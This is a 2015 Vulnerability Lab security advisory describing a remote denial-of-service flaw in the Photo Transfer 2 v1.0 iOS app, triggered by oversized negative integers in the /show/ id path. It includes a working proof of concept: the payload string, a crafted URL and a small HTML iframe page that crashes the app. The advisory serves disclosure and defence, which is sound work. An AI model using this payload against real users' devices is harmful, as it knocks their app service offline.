Document Title:
===============
Photo Transfer (2) v1.0 iOS - Denial of Service Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1580


Release Date:
=============
2015-08-20


Vulnerability Laboratory ID (VL-ID):
====================================
1580


Common Vulnerability Scoring System:
====================================
3.4


Product & Service Introduction:
===============================
Photo Transfer 2 is the easiest and fastest way to transfer photos (videos) from Camera Roll to computer or other iOS devices, and vice versa. 
No need for USB cable, iTunes or extra equipment! 

(Copy of the Vendor Homepage: https://itunes.apple.com/app/id1005399058 )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a remote denial of service vulnerability in the official Photo Transfer 2 - v1.0 iOS mobile web-application.


Vulnerability Disclosure Timeline:
==================================
2015-07-27:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Arvin Brook
Product: Photo Transfer 2 - iOS Mobile Web Application 1.0


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A remote denial of service vulnerability has been discovered in the official Photo Transfer 2 - v1.0 iOS mobile web-application.
The issue allows local attackers to crash or shutdown the software client by usage of special crafted payloads.

The vulnerability is located in the id value restriction of show module path context. Remote attacker can easily crash the application 
remotly by including wrong and large id context in integer format. The attack vector is client-side and the request method to provoke 
the mobile app crash is GET. The handling of the id path gets confused on negative integer values which results in a permanent app shutdown.

The security risk of the denial of service vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. 
Exploitation of the DoS vulnerability requires no privilege application user account or low user interaction. Successful exploitation of the 
vulnerability results in an application crash or permanent app service shutdown.


Vulnerable Module(s):
				[+] ../show/

Vulnerable Parameter(s):
				[+] id


Proof of Concept (PoC):
=======================
The remote denial of service web vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Standard URL:
http://localhost:3030/show/5


PoC: Payload (Input to show Parameter)
-9999999999999999999'


PoC URL:
http://localhost:3030/show/-9999999999999999999'


PoC: Exploit
<html>
<head><body>
<title>Photo Transfer 2 - remote Denial of Service Vulnerability</title>
<iframe src=http://localhost:3030/show/-9999999999999999999'>
<iframe src=http://localhost:3030/show/-1111111111111111111'>
<iframe src=http://localhost:3030/show/-0000000000000000000'>
</body></head>
<html>


Security Risk:
==============
The security risk of the remote denial of service vulnerability in the photo transfer 2 mobile app v1.0 is estimated as medium. (CVSS 3.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]


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=========================
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